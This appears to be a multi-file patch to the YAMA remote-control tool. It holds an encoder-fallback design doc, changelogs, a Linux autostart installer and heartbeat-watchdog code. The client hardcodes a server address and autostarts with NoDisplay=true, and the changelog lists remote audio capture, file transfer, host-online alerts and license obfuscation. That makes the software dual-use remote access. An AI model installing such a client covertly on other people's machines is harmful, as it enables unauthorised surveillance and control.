+            LOG_INFO("encoder: AV1 backend=%s", enc->backendName());
+            return enc;
+        }
+        LOG_WARN("encoder: AV1 open failed, falling back to H.264");
+    }
+
+    // 2. H.264 硬编路径
+    if (EncoderProbe::HasH264Hw()) {
+        auto enc = std::make_unique<CFFmpegH264Encoder>();
+        p.rc = RateControl::BITRATE;
+        p.bitrate_kbps = req.bitrate_kbps;
+        if (enc->open(p)) {
+            LOG_INFO("encoder: H264-HW backend=%s", enc->backendName());
+            return enc;
+        }
+        LOG_WARN("encoder: H264 HW open failed, falling back to x264");
+    }
+
+    // 3. H.264 软编兜底（始终可用）
+    {
+        auto enc = std::make_unique<CX264Encoder>();
+        p.rc = RateControl::CRF;
+        p.crf = BitRateToCRF(req.bitrate_kbps);
+        if (enc->open(p)) {
+            LOG_INFO("encoder: H264-SW (libx264)");
+            return enc;
+        }
+    }
+
+    LOG_ERROR("encoder: all backends failed");
+    return nullptr;
+}
+```
+
+要点：
+- **不要**引入会话池（`HEVCSessionPool` 那套）—— 个人项目场景下不需要
+- NVENC session 限制由 FFmpeg 自己报错，工厂捕获后自动降级
+- 失败路径都打日志，方便定位
+
+### 6.6 启动时一次性后端探测
+
+避免每个新连接都重复尝试每个 backend：
+
+```cpp
+// EncoderProbe.h
+class EncoderProbe {
+public:
+    static void RunOnce();                 // 程序启动时调用一次
+    static bool HasAV1Hw();
+    static bool HasH264Hw();
+    static const char* PreferredAV1Backend();   // 第一个能用的 AV1 后端名
+    static const char* PreferredH264Backend();
+};
+
+// EncoderProbe.cpp 实现思路：
+// 对每个候选后端尝试 alloc_context → open2 → free
+// 用最低分辨率（如 640x480 @30fps）减少探测开销
+// 结果缓存在静态变量，加 std::once_flag 保证线程安全
+```
+
+启动时探测 1 次，运行时 `CreateEncoder` 直接读结果。
+
+### 6.7 ScreenCapture.h 改造
+
+**当前**（`client/ScreenCapture.h:148, 926-930, 956-960`）：
+```cpp
+CX264Encoder* m_encoder;
+// ...
+m_encoder = new CX264Encoder();
+int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
+m_encoder->open(width, height, 20, BitRateToCRF(br));
+```
+
+**改造后**：
+```cpp
+std::unique_ptr<VideoEncoderBase> m_encoder;
+ClientCapability m_clientCap;   // 握手阶段填入
+// ...
+if (!m_encoder) {
+    EncoderRequest req{
+        (int)width, (int)height, 20,
+        m_nBitRate > 0 ? m_nBitRate : (int)(width * height / 1266),
+        m_clientCap
+    };
+    m_encoder = CreateEncoder(req);
+    if (!m_encoder) return nullptr;
+}
+int err = m_encoder->encode(nextData, 32, 4 * width, width, height,
+                            &encoded_data, &encoded_size);
+```
+
+注意：两处 `new CX264Encoder()` 提取成一个 `ensureEncoder()` 私有方法，避免重复。
+
+### 6.8 协议握手（阶段二）
+
+客户端浏览器 WebSocket 连接时上报：
+
+```json
+{
+  "type": "client_capability",
+  "codecs": ["av1", "h264"]
+}
+```
+
+浏览器端探测脚本（JS）：
+
+```javascript
+async function probeBrowserCodecs() {
+    const codecs = [];
+    if (typeof VideoDecoder !== 'undefined') {
+        // AV1 Main Profile, Level 4.0, 8-bit
+        const av1 = await VideoDecoder.isConfigSupported({ codec: 'av01.0.04M.08' });
+        if (av1.supported) codecs.push('av1');
+    }
+    codecs.push('h264');   // 兜底假定支持，<video> 标签也支持
+    return codecs;
+}
+```
+
+**向后兼容**：老版本客户端不发 `codecs` 字段 → 服务端按 H.264 处理。`ClientCapability::supportAV1` 默认 false。
+
+可参考 `docs/hevc_browser_decode_test.html`（改造一份 AV1 版本）做浏览器解码端到端验证。
+
+---
+
+## 7. 像素格式与转换
+
+保持与现有 x264 路径完全一致的做法：
+
+- **硬编内部格式**：`AV_PIX_FMT_NV12`（NVENC/QSV/AMF 通用）
+- **转换库**：libyuv（不引入 `sws_scale`）
+- **BGRA → NV12**：`libyuv::ARGBToNV12` 直接
+- **RGB24 → NV12**：libyuv 无直接 API，分两步 RGB24 → I420 → NV12
+- **direction 参数**：沿用现有 `X264Encoder.cpp:136` 的写法（`direction * height` 作为乘子）
+
+---
+
+## 8. 测试要求
+
+### 8.1 单元测试
+
+- `VideoEncoderBase` 各实现的 `open / encode / close` 生命周期
+- `CFFmpegH264Encoder` 在缺失各后端时降级到下一个
+- `EncoderFactory` 在不同 `ClientCapability` × 硬件能力 矩阵下返回正确后端
+- `EncoderProbe::RunOnce()` 在不同 GPU 上的结果一致性
+
+### 8.2 集成测试
+
+| 场景 | 期望 |
+|---|---|
+| 客户端支持 AV1 + 编码端 RTX 40 | 使用 AV1（`av1_nvenc`） |
+| 客户端支持 AV1 + 编码端 GTX 1080 | 降级 H.264 硬编（`h264_nvenc`） |
+| 客户端不支持 AV1 + 编码端任意 | H.264（硬编优先） |
+| 编码端无 GPU / 虚拟机 | x264 软编 |
+| 编码端集显 + 独显 | 优先级中第一个成功的后端 |
+| 中途客户端能力变化 | 当前连接不变；下次握手按新能力 |
+| H264 硬编创建失败 | 自动回落 x264 软编，连接不断 |
+
+### 8.3 硬件验证矩阵
+
+| 编码端 | 客户端浏览器 | 期望 |
+|---|---|---|
+| RTX 40 / 50 | Chrome / Firefox / Edge | AV1 |
+| GTX 10/16 / RTX 20/30 | Chrome / Firefox / Edge | H.264 NVENC |
+| Intel Arc | Chrome / Firefox | AV1（`av1_qsv`） |
+| Intel 12 代+ 核显 | Chrome / Firefox | H.264 QSV |
+| AMD RX 7000+ | Chrome / Firefox | AV1（`av1_amf`） |
+| AMD 老卡 | Chrome / Firefox | H.264 AMF |
+| 虚拟机 / 远程桌面会话 | 任意 | x264 软编 |
+| iOS Safari < 17 | 任意编码端 | H.264 |
+| iOS Safari ≥ 17（A17 Pro+） | 任意编码端 | AV1 优先 |
+
+### 8.4 体积验证
+
+- exe 体积增量 < 12 MB（vcpkg 静态链接，含 AV1+H264 全后端）
+- 若超出明显，检查 vcpkg feature 是否引入了不需要的 codec
+
+### 8.5 回归测试（关键）
+
+每一步改造后必须验证：
+- 现有 x264 软编通路完全可用（在禁用所有硬编后端的环境下）
+- 现有客户端（不发 `codecs` 字段）可正常工作
+- 编码码流向后兼容，老客户端能解
+
+---
+
+## 9. 已知风险与注意事项
+
+### 9.1 多 GPU 跨适配器
+笔记本集显+独显场景，FFmpeg 默认走主显卡。可能报 "failed to create device"。**Catch 后回落到下一个后端**，不要直接终止。
+
+### 9.2 第一帧延迟
+FFmpeg 硬编可能在首次 `send_frame` 后 `receive_packet` 返回 `EAGAIN`。调用方代码必须能处理 `*lpSize == 0` 的情况（返回 0 表示成功但本次无输出）。`ScreenCapture::GetNextScreenData` 当前 `encoded_size == 0` 会怎么处理需要确认。
+
+### 9.3 NVENC session 数限制
+NVIDIA **消费级**卡（GeForce）有 NVENC session 上限（驱动 522.25+ 起 3 个，更新版可能放宽到 5）。多连接超限时 `open` 失败 → 工厂自动降级到 QSV/AMF/x264。**不要做"会话池"提前拦截** —— 让 FFmpeg 自己报错，工厂处理。
+
+### 9.4 浏览器解 AV1 的硬件依赖
+- 桌面 Chrome/Firefox/Edge：软解兜底（CPU 占用高，但能用）
+- 移动端：iPhone 15 Pro+ / M3+ 才有 AV1 硬解，老设备只能软解（可能卡）
+- `isConfigSupported` 报 true 不等于跑得流畅。**建议握手时也带上设备类型**，弱设备强制走 H.264
+
+### 9.5 LGPL 静态链接合规
+个人项目暂搁置。商用前需法务确认（FFmpeg 源代码提供、重新链接能力等）。
+
+### 9.6 配置项（建议）
+
+建议做成 INI/JSON：
+```
+encoder.prefer_av1            = true
+encoder.h264.bitrate_default  = 4000   (kbps)
+encoder.fallback_to_x264      = true
+encoder.probe_at_startup      = true
+encoder.disable_h264_mf       = true   (h264_mf 质量一般，可禁用)
+```
+
+### 9.7 日志要求
+
+关键路径必须有日志：
+- 启动探测结果：每个后端是否可用 + 失败原因（`av_err2str`）
+- 每个连接选定的 `codec` + `backend`（INFO）
+- 后端打开失败 + 回落（WARN）
+- 编码过程中的异常（ERROR）
+
+### 9.8 线程安全
+- 每个编码器实例不跨线程
+- `EncoderProbe` 单例首次初始化加 `std::once_flag`
+- FFmpeg 新版本不需要全局初始化（`av_register_all` 已废弃）
+
+### 9.9 与现有 `DISABLE_X264_FOR_TEST` 编译开关协同
+项目已有 `DISABLE_X264_FOR_TEST` 宏（见 `X264Encoder.cpp:5`）和最近 `c0a632a` 提交"Compliance: Add building option to disable x264 and ffmpeg"。新代码须遵循同样的可禁用约定：
+- `ENABLE_HW_ENCODER` 关闭时整个 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder` 编译为空实现或不参与链接
+- 工厂在该宏关闭时直接返回 `CX264Encoder`
+
+---
+
+## 10. 实现顺序建议
+
+**每一步独立可合入**，每一步完成后 x264 通路必须可用、客户端无感知。
+
+### Step 0：抽象层（零功能改动）
+1. 新建 `VideoEncoderBase.h`，定义接口 + `EncoderParams` + `RateControl`
+2. `CX264Encoder` 改造继承 `VideoEncoderBase`：
+   - 新增 `forceIDR()`（设置一个标志，下次 encode 时通过 `x264_picture_t::i_type = X264_TYPE_IDR`）
+   - 实现 `codec()` 返回 `H264`
+   - 实现 `backendName()` 返回 `"x264"`
+   - 旧 `open(w, h, fps, crf)` 签名保留，转调新的 `open(EncoderParams)`
+3. `ScreenCapture::m_encoder` 改 `std::unique_ptr<VideoEncoderBase>`，但仍直接 `new CX264Encoder`
+4. **不引 FFmpeg、不引工厂**
+5. 验证：H.264 通路完全不变，对外行为零变化
+
+### Step 1：FFmpeg 集成 + `h264_nvenc` 单后端
+1. vcpkg 安装 `ffmpeg[core,nvcodec]:x64-windows-static-md`
+2. 工程添加包含目录 / 库目录 / 系统库
+3. 新建 `CFFmpegH264Encoder`，仅实现 `h264_nvenc`
+4. 在 `ScreenCapture` 加临时开关：硬编码切到 `CFFmpegH264Encoder` 跑一下
+5. 用浏览器解码 demo 验证码流能解
+6. 体积验证（应 +4–6 MB）
+
+### Step 2：扩展 H.264 硬编后端
+1. `CFFmpegH264Encoder` 加 `h264_qsv` / `h264_amf` 探测
+2. 顺序：`nvenc → qsv → amf`（`mf` 可暂不接）
+3. 不同后端的参数适配（见 §6.3.2）
+4. 测试 Intel 核显 + AMD 卡
+
+### Step 3：工厂 + 软编兜底
+1. 新建 `EncoderFactory` / `EncoderProbe`
+2. 工厂按 `H264 硬编 → x264 软编` 顺序
+3. `ScreenCapture` 改用工厂（消除两处 `new CX264Encoder`）
+4. 测试无 GPU 环境降级到 x264
+
+### Step 4：AV1 路径（独立闭环）
+1. 重跑 vcpkg：`ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md`
+2. 新建 `CFFmpegAV1Encoder`，结构与 H.264 对称（直接 copy + 改 backend 名 + 调参）
+3. `EncoderProbe` 加 AV1 探测
+4. 工厂前置 AV1 路径
+5. 硬件验证矩阵执行
+
+### Step 5：握手协商 + 浏览器探测
+1. 客户端 JS `isConfigSupported` 探测 AV1 / H.264
+2. WebSocket 握手字段 `codecs` 上报
+3. 服务端解析后填入 `ClientCapability`
+4. 老客户端向后兼容（无 `codecs` 字段 → 默认 H.264）
+5. 端到端验证：编码端 RTX 40 + 浏览器 Chrome 走 AV1，回落场景走 H.264
+
+---
+
+## 11. 不在本次范围
+
+- HEVC 编码（决策已排除，见 §1.3.1）
+- 软编 AV1（libaom / SVT-AV1，CPU 占用不适合远控）
+- 运行中动态切换 codec（需要切换就重连）
+- 转发流（1 路编码多路分发）
+- 桌面捕获共享
+- 客户端浏览器解码具体实现（可参考 `docs/hevc_browser_decode_test.html` 改 AV1 版本验证）
+- Linux/macOS 移植
+- FFmpeg DLL 形式分发
+
+---
+
+## 12. 参考资料
+
+- FFmpeg 编码器列表：`ffmpeg -encoders | grep -E "h264|av1"`
+- NVENC 参数：`ffmpeg -h encoder=h264_nvenc`、`ffmpeg -h encoder=av1_nvenc`
+- QSV 参数：`ffmpeg -h encoder=h264_qsv`、`ffmpeg -h encoder=av1_qsv`
+- AMF 参数：`ffmpeg -h encoder=h264_amf`、`ffmpeg -h encoder=av1_amf`
+- NVIDIA Video Codec Support Matrix：https://developer.nvidia.com/video-encode-and-decode-gpu-support-matrix-new
+- WebCodecs API：https://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API
+- libyuv：https://chromium.googlesource.com/libyuv/libyuv/
+- vcpkg ffmpeg port：https://github.com/microsoft/vcpkg/tree/master/ports/ffmpeg
+- FFmpeg HWAccel Intro：https://trac.ffmpeg.org/wiki/HWAccelIntro
+- AOMedia AV1：https://aomedia.org/
+
+---
+
+**文档结束**
+
+实现时如遇到本文档未覆盖的设计抉择，优先选择**简单、与现有 x264 通路对称、不破坏已有功能、不增加运行时外部依赖**的方案，并在代码注释中说明决策依据。

history.md

@@ -651,6 +651,68 @@ Release v1.1.4
 * 修复: 屏幕缩放时远程控制坐标不正确
 * 修复: CShellDlg::OnCtlColor 中的 GDI 画刷泄漏
 
+**2026.02.28**
+
+发布版本 v1.2.7：
+
+本版本引入支持 C2C 的 V2 文件传输协议，集成现代 Web 终端，并扩展 Linux 客户端能力。
+
+* 功能: V2 文件传输协议，支持大于 4GB 的文件
+* 功能: C2C（客户端到客户端）直接传输，无需经过主控中转
+* 功能: 断点续传，状态持久化到 `%TEMP%\FileTransfer\`
+* 功能: SHA-256 文件完整性校验
+* 功能: 基于 WebView2 + xterm.js 的现代 Web 终端
+* 功能: Linux 客户端新增文件管理支持
+* 改进: 主机列表批量更新，减少 UI 闪烁
+* 改进: V1/V2 协议共存与自动识别
+* 改进: 77 字节 V2 包头预留扩展字段
+* 修复: 文件对话框释放阶段的若干稳定性问题
+
+**2026.03.11**
+
+发布版本 v1.2.8：
+
+本版本新增主机上线邮件通知、远程音频播放、V2 授权协议，并改进多 FRPS 支持。
+
+* 功能: 主机上线邮件通知（SMTP 配置、关键词匹配、右键快捷添加）
+* 功能: 远程音频播放（WASAPI Loopback）+ Opus 压缩（约 24:1）
+* 功能: 多 FRPS 服务器同时连接支持
+* 功能: 自定义光标显示和追踪
+* 功能: V2 授权协议，采用 ECDSA 签名
+* 改进: Linux 客户端屏幕压缩算法调优
+* 改进: 非中文 Windows 主机的编码强化
+* 修复: 非中文 Windows 系统乱码问题
+
+**2026.03.27**
+
+发布版本 v1.2.9：
+
+本版本强化网络安全，新增连接限流、IP 白/黑名单，加固代理崩溃恢复，并带来 Linux 剪贴板同步及 V2 文件传输。
+
+* 功能: 网络配置对话框，IP 白/黑名单实时生效
+* 功能: 可配置的连接限流（DLL 请求限流、IP 封禁阈值可调）
+* 功能: IP 历史记录对话框，查看授权 IP 登录历史
+* 功能: 状态栏显示 MTBF/运行时间和授权到期日期
+* 功能: 代理崩溃保护——5 分钟内 3 次崩溃自动切换普通模式
+* 功能: 客户端搜索（Ctrl+F），快速搜索 IP、位置、计算机名
+* 功能: 自动封禁异常 IP——60 秒内超过 15 次连接自动封禁 1 小时
+* 功能: Proxy Protocol v2 支持，FRP 代理后获取真实客户端 IP
+* 功能: Linux 剪贴板同步和 V2 文件传输支持
+* 功能: 右键菜单运行客户端程序
+* 功能: 多层授权混淆支持
+* 改进: 增强授权检查，添加 IP 封禁提示
+* 改进: 支持主控程序以用户权限运行
+* 改进: 大 DLL 自动使用 TinyRun 回退方案
+* 改进: 最大数据包从 10MB 提升到 50MB
+* 改进: mstsc 远程会话可读取用户注册表
+* 改进: 授权码格式验证，过滤垃圾数据
+* 修复: OnUserOfflineMsg 竞态条件导致主控崩溃
+* 修复: 客户端请求 FRPC DLL 时 FrpcParam 丢失
+* 修复: 远程桌面最小化时剪贴板误触发
+* 修复: 操作进程对话框时主控崩溃
+* 修复: 状态栏主机数量实时更新
+* 修复: Linux `select()` 调用前未重置 timeval
+
 ---
 
 [English, since 2025]
@@ -1061,3 +1123,65 @@ This release focuses on optimizing remote desktop toolbar experience, enhancing
 * Fix: Race condition causes Linux client crash
 * Fix: Incorrect remote control coordinates when screen is scaled
 * Fix: GDI brush leak in CShellDlg::OnCtlColor
+
+**2026.02.28**
+
+Release v1.2.7
+
+This release introduces the V2 file transfer protocol with C2C support, integrates a modern Web terminal, and extends Linux client capabilities.
+
+* Feature: V2 file transfer protocol with support for files larger than 4GB
+* Feature: C2C (client-to-client) direct file transfer, no master relay required
+* Feature: Resumable file transfer with state persistence under `%TEMP%\FileTransfer\`
+* Feature: SHA-256 file integrity verification
+* Feature: Modern Web terminal based on WebView2 + xterm.js
+* Feature: Linux client adds file management support
+* Improve: Batch host list updates to reduce UI flicker
+* Improve: V1/V2 protocol coexistence and auto-detection
+* Improve: 77-byte V2 packet header with reserved fields for future extension
+* Fix: Misc stability improvements around file dialog teardown
+
+**2026.03.11**
+
+Release v1.2.8
+
+This release adds host online email notifications, enables remote audio playback, introduces the V2 license protocol, and improves multi-FRPS support.
+
+* Feature: Host online email notification (SMTP configuration, keyword matching, right-click quick-add)
+* Feature: Remote audio playback via WASAPI Loopback + Opus compression (~24:1 ratio)
+* Feature: Multi-FRPS server simultaneous connection support
+* Feature: Custom cursor display and tracking
+* Feature: V2 license protocol with ECDSA signature
+* Improve: Linux client screen compression algorithm tuning
+* Improve: Encoding hardening for non-Chinese Windows hosts
+* Fix: Mojibake on non-Chinese Windows systems
+
+**2026.03.27**
+
+Release v1.2.9
+
+This release strengthens network security, adds connection rate limiting, introduces IP whitelisting / blacklisting, hardens proxy crash recovery, and brings Linux clipboard sync and V2 file transfer.
+
+* Feature: Network configuration dialog with IP whitelist / blacklist, applied in real time
+* Feature: Configurable connection rate limiting (DLL request throttle, IP ban threshold)
+* Feature: IP history dialog showing authorized-IP login history
+* Feature: Status bar displays MTBF / uptime and license expiry date
+* Feature: Proxy crash protection — auto-fallback to direct mode after 3 crashes within 5 minutes
+* Feature: Client search (Ctrl+F) — quick filter by IP, location, computer name
+* Feature: Auto-ban abnormal IPs — 60s / 15-connection threshold triggers a 1-hour ban
+* Feature: Proxy Protocol v2 support — recover real client IP behind FRP
+* Feature: Linux clipboard sync and V2 file transfer support
+* Feature: Right-click menu to run client program
+* Feature: Multi-layer license obfuscation
+* Improve: Authorization check tightened with IP ban hints
+* Improve: Master can run with normal user privileges
+* Improve: Large DLLs automatically fall back to TinyRun
+* Improve: Max packet size raised from 10MB to 50MB
+* Improve: mstsc remote sessions can read user registry hive
+* Improve: Authorization code format validation, filters garbage input
+* Fix: OnUserOfflineMsg race condition causing master crash
+* Fix: FrpcParam lost when client requests FRPC DLL
+* Fix: Minimized remote desktop falsely triggering clipboard handling
+* Fix: Master crash when operating on the process dialog
+* Fix: Status bar host count now updates in real time
+* Fix: Linux `select()` timeval not being reset before each call

linux/README.md

@@ -261,7 +261,7 @@ loginctl show-session $(loginctl | grep $(whoami) | awk '{print $1}') -p Type
 | `InstallTime` | 首次安装时间 | `1709856000` |
 | `PublicIP` | 公网 IP 缓存 | `1.2.3.4` |
 | `GeoLocation` | 地理位置缓存 | `北京市` |
-| `QualityLevel` | 屏幕质量等级 | `-1` (自适应) |
+| `QualityLevel` | 屏幕质量等级 | `2` (Good / H264 1080P) |
 
 ### 质量等级说明
 

linux/ScreenHandler.h

@@ -911,7 +911,14 @@ public:
     // 加载保存的质量设置
     void LoadQualitySettings()
     {
-        m_qualityLevel = (int8_t)m_config.GetInt("QualityLevel", QUALITY_ADAPTIVE);
+        // Default to QUALITY_GOOD (H264 1080P) — same as Windows ScreenManager.cpp
+        // and the explicit hardcoded default in macos/ScreenHandler.mm. Using
+        // QUALITY_ADAPTIVE here told the controller's EvaluateQuality to auto-
+        // upgrade to Ultra/High (DIFF/RGB565), breaking web sessions whose
+        // browser decoder only handles H264. Web sessions also get a clamp on
+        // the server side as defense in depth; this default change ensures
+        // Linux clients don't request adaptive in the first place.
+        m_qualityLevel = (int8_t)m_config.GetInt("QualityLevel", QUALITY_GOOD);
         Mprintf(">>> LoadQualitySettings: level=%d\n", m_qualityLevel);
 
         // 如果有保存的具体等级，立即应用

linux/install.sh

@@ -0,0 +1,152 @@
+#!/usr/bin/env bash
+# YAMA Ghost (Linux client) — install + autostart deployment
+#
+# 用法（在解压/克隆后的 linux/ 目录下）：
+#   ./install.sh                # 默认安装到 ~/.local/bin/ghost
+#   ./install.sh /opt/yama      # 安装到 /opt/yama/ghost（如需要会自动 sudo）
+#
+# 行为：
+#   1. 复制 ghost 二进制到目标位置并加可执行权
+#   2. 注册 XDG Autostart（~/.config/autostart/ghost.desktop）
+#   3. 可选立即启动一次（继承当前桌面会话的 X 环境）
+
+set -euo pipefail
+
+# ---- 防止以 root 直接运行 ----
+# 用 sudo 跑会让 $HOME 变成 /root（或 sudo 配置决定的值），
+# autostart 写到 /root/.config/autostart/，桌面用户的 session 看不见，
+# 自启动完全失效。需要 sudo 的地方（如装到 /opt/...），脚本会按需自调用 sudo。
+if [[ "${EUID:-$(id -u)}" -eq 0 ]]; then
+    echo "请用普通用户身份运行此脚本，不要 sudo。" >&2
+    echo "如目标目录需要 root 权限，脚本会按需自动调用 sudo。" >&2
+    exit 1
+fi
+
+# ---- 颜色 ----
+if [[ -t 1 ]]; then
+    C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
+    C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
+else
+    C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
+fi
+
+info()  { echo "${C_BLUE}[INFO]${C_RESET}  $*"; }
+ok()    { echo "${C_GREEN}[ OK ]${C_RESET}  $*"; }
+warn()  { echo "${C_YELLOW}[WARN]${C_RESET}  $*"; }
+error() { echo "${C_RED}[FAIL]${C_RESET}  $*" >&2; }
+
+# ---- 路径解析 ----
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+SRC_BIN="${SCRIPT_DIR}/ghost"
+
+# 安装目标目录（参数 $1，默认 ~/.local/bin）
+INSTALL_DIR="${1:-${HOME}/.local/bin}"
+DEST_BIN="${INSTALL_DIR}/ghost"
+
+AUTOSTART_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart"
+AUTOSTART_FILE="${AUTOSTART_DIR}/ghost.desktop"
+
+echo "${C_BOLD}YAMA Ghost Linux 安装${C_RESET}"
+echo "  源: ${SRC_BIN}"
+echo "  目标: ${DEST_BIN}"
+echo "  自启动: ${AUTOSTART_FILE}"
+echo ""
+
+# ---- 前置检查 ----
+if [[ ! -f "${SRC_BIN}" ]]; then
+    error "找不到 ghost 二进制 ${SRC_BIN}"
+    error "请把 install.sh 放在 ghost 同目录后再运行"
+    exit 1
+fi
+
+if ! file "${SRC_BIN}" 2>/dev/null | grep -q "ELF.*executable"; then
+    error "${SRC_BIN} 不是有效的 ELF 可执行文件"
+    exit 1
+fi
+
+# 判断目标目录是否需要 sudo
+# 三种情况都要走 sudo 分支：
+#   a) 目录不存在且父目录无写权（如 /opt/yama 父是 /opt root-owned）
+#   b) 目录已存在但当前用户无写权（如已存在的 /usr/local/bin root-owned）
+#   c) 介于两者之间的情况由 mkdir 的退出码决定
+NEED_SUDO=""
+if [[ -d "${INSTALL_DIR}" ]]; then
+    [[ -w "${INSTALL_DIR}" ]] || NEED_SUDO="sudo"
+else
+    if ! mkdir -p "${INSTALL_DIR}" 2>/dev/null; then
+        NEED_SUDO="sudo"
+    fi
+fi
+if [[ -n "${NEED_SUDO}" ]]; then
+    info "目标目录需要 root 权限，将使用 sudo（可能需要输入密码）"
+    ${NEED_SUDO} mkdir -p "${INSTALL_DIR}"
+fi
+
+# ---- 1. 如已运行则先停止 ----
+if pgrep -x ghost > /dev/null; then
+    warn "检测到 ghost 进程正在运行，先停止以替换二进制"
+    pkill -x ghost || true
+    sleep 1
+    if pgrep -x ghost > /dev/null; then
+        warn "进程未优雅退出，强制 kill"
+        pkill -9 -x ghost || true
+        sleep 1
+    fi
+    ok "旧进程已停止"
+fi
+
+# ---- 2. 复制二进制 ----
+info "复制 ghost 到 ${DEST_BIN}"
+${NEED_SUDO} install -m 0755 "${SRC_BIN}" "${DEST_BIN}"
+ok "二进制已部署 (mode 0755)"
+
+# ---- 3. 写 XDG Autostart 文件 ----
+mkdir -p "${AUTOSTART_DIR}"
+cat > "${AUTOSTART_FILE}" <<EOF
+[Desktop Entry]
+Type=Application
+Name=YAMA Ghost
+Comment=YAMA remote control client
+Exec=${DEST_BIN}
+Terminal=false
+X-GNOME-Autostart-enabled=true
+NoDisplay=true
+StartupNotify=false
+EOF
+ok "Autostart 已注册"
+
+# 验证 .desktop 格式（如果系统装了 desktop-file-validate）
+if command -v desktop-file-validate >/dev/null 2>&1; then
+    if desktop-file-validate "${AUTOSTART_FILE}" >/dev/null 2>&1; then
+        ok "Autostart 文件格式验证通过"
+    else
+        warn "desktop-file-validate 报告了警告，但通常不影响功能"
+    fi
+fi
+
+# ---- 4. 可选：立即启动 ----
+echo ""
+echo -n "${C_BOLD}是否立即启动 ghost（验证 X 环境）？[Y/n]${C_RESET} "
+read -r ans
+if [[ -z "${ans}" || "${ans}" =~ ^[Yy]$ ]]; then
+    if [[ -z "${DISPLAY:-}" ]]; then
+        warn "当前 shell 没有 DISPLAY 变量，可能不在桌面会话内 — 启动后远控仍可能 0x0"
+        warn "建议在 GNOME 终端/桌面环境的终端里运行此脚本"
+    fi
+    nohup "${DEST_BIN}" >/dev/null 2>&1 &
+    sleep 1
+    if pgrep -x ghost > /dev/null; then
+        ok "ghost 已启动 (PID=$(pgrep -x ghost | head -1))"
+    else
+        error "启动失败，请手动跑 ${DEST_BIN} 看错误输出"
+        exit 1
+    fi
+fi
+
+echo ""
+echo "${C_GREEN}${C_BOLD}✓ 安装完成${C_RESET}"
+echo ""
+echo "下次开机将自动启动；如需立即测试，重启或在桌面终端跑："
+echo "  ${DEST_BIN}"
+echo ""
+echo "卸载请运行同目录的 ./uninstall.sh"

linux/main.cpp

@@ -47,6 +47,13 @@ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_L
 State g_bExit = S_CLIENT_NORMAL;
 static std::atomic<bool> g_needResendLogin(false);  // 分组变更后需要重发登录信息
 
+// 上次收到 HeartbeatACK 的 wall-clock 时间戳(ms)，0 表示新连接刚建立尚未喂初值。
+// 心跳循环用它检测应用层超时：TCP send() 永远不会因半死连接报错（数据塞进 SNDBUF
+// 立即返回成功），必须靠 ACK 缺失来感知链路死亡。用 wall-clock 而非 monotonic：
+// VM/笔记本挂起期间 system_clock 继续推进，恢复后能立即识别"几分钟没收到 ACK"，
+// 这是相比 TCP_USER_TIMEOUT(内核层) 的关键互补价值。
+static std::atomic<uint64_t> g_lastHeartbeatAckMs(0);
+
 // 客户端 ID（V2 文件传输需要）
 uint64_t g_myClientID = 0;
 
@@ -390,6 +397,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
         if (ulLength >= 1 + sizeof(HeartbeatACK)) {
             HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
             uint64_t now = GetUnixMs();
+            g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);  // 喂应用层 ACK 看门狗
             double rtt_ms = (double)(now - ack->Time);
             g_rttEstimator.update_from_sample(rtt_ms);
             // 心跳节奏太密日志会刷屏；最多 60s 一行
@@ -778,8 +786,12 @@ static void daemonize()
 }
 
 // 信号处理：收到 SIGTERM/SIGINT 时优雅退出
+// 注意：handler 内不能调 Mprintf（Logger 用 mutex/string/condvar，非 async-signal-safe），
+// 只在这里记 sig_atomic_t 标志位，main 退出循环后再补一行日志。
+static volatile sig_atomic_t g_lastSignal = 0;
 static void signalHandler(int sig)
 {
+    g_lastSignal = sig;
     g_bExit = S_CLIENT_EXIT;
 }
 
@@ -966,6 +978,9 @@ int main(int argc, char* argv[])
         ClientAuth::OnNewConnection();
         ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
 
+        // 新连接：把 ACK 看门狗喂到当前时间，避免循环刚进来就被误判为超时
+        g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
+
         // 心跳保活循环：定时发送心跳包，服务端回复后动态更新 RTT
         while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
             // 检查是否需要重发登录信息（分组变更后）
@@ -1000,6 +1015,28 @@ int main(int argc, char* argv[])
                 break;
             }
 
+            // 应用层 ACK 看门狗：超过 max(60s, interval*3) 没收到 HeartbeatACK 就
+            // 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区——
+            // VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景，对端早已不在，
+            // 但本端 send() 仍把字节塞进 SNDBUF，IsConnected() 一直为真。
+            // 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3))
+            // 对齐：服务端删 host 时本端也能感知到，立即重连而不是等数据卡 ~15 分钟。
+            // 这一层不依赖 TCP_USER_TIMEOUT，跨平台必备。
+            {
+                int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60;
+                const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL;
+                uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
+                uint64_t nowMs = GetUnixMs();
+                if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) {
+                    Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK "
+                            "(threshold=%llu ms), reconnecting\n",
+                            (unsigned long long)(nowMs - lastAck),
+                            (unsigned long long)ackTimeoutMs);
+                    ClientObject->Disconnect();
+                    break;
+                }
+            }
+
             // 构造并发送心跳包（与 Windows 端 KernelManager::SendHeartbeat 格式一致）
             // ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
